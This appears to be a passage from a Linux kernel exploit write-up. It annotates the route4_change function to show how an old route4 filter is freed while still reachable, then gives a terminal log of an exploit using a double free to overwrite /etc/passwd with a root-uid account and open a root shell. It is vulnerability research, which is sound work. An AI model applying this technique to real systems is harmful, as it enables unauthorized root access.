static int route4_change(...)
{
    ...
    f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);      [0]
    ...
    // if there exists a filter with the same handler, copy some information
    if (fold) {                                                 [1]
        f->id = fold->id;
        f->iif = fold->iif;
        f->res = fold->res;
        f->handle = fold->handle;

        f->tp = fold->tp;
        f->bkt = fold->bkt;
        new = false;
    }

    // initialize the new filter
    err = route4_set_parms(net, tp, base, f, handle, head, tb,  [2]
                   tca[TCA_RATE], new, flags, extack);
    if (err < 0)
        goto errout;

    // insert the new filter to the list
    h = from_hash(f->handle >> 16);                             [3]
    fp = &f->bkt->ht[h];
    for (pfp = rtnl_dereference(*fp);
         (f1 = rtnl_dereference(*fp)) != NULL;
         fp = &f1->next)
        if (f->handle < f1->handle)
            break;

    tcf_block_netif_keep_dst(tp->chain->block);
    rcu_assign_pointer(f->next, f1);
    rcu_assign_pointer(*fp, f);

    // remove fold filter from the list if fold exists
    if (fold && fold->handle && f->handle != fold->handle) {    [4]
        th = to_hash(fold->handle);
        h = from_hash(fold->handle >> 16);
        b = rtnl_dereference(head->table[th]);
        if (b) {
            fp = &b->ht[h];
            for (pfp = rtnl_dereference(*fp); pfp;
                 fp = &pfp->next, pfp = rtnl_dereference(*fp)) {
                if (pfp == fold) {
                    rcu_assign_pointer(*fp, fold->next);  [5]// remove the old from the linked list
                    break;
                }
            }
        }
    }
...
    // free the fold filter if it exists                         [6]
    if (fold) {
        tcf_unbind_filter(tp, &fold->res);
        tcf_exts_get_net(&fold->exts);
        tcf_queue_work(&fold->rwork, route4_delete_filter_work);
    }

[ghost@localhost ~]$ ./exploit
self path /home/ghost/./exploit
prepare done
Old limits -> soft limit= 14096          hard limit= 14096
starting exploit, num of cores: 32
defrag done
spray 256 done
freed the filter object
256 freed done
double free done
spraying files
found overlap, id : 257, 1061
start slow write
closed overlap
got cmd, start spraying /etc/passwd
spray done
write done, spent 1.621078 s
should be after the slow write
succeed
[ghost@localhost ~]$ head -n 4 /etc/passwd
user:$1$user$k8sntSoh7jhsc6lwspjsU.:0:0:/root/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
[ghost@localhost ~]$ su user # the password is user
Password:
sh-4.4# id
uid=0(user) gid=0(root) groups=0(root)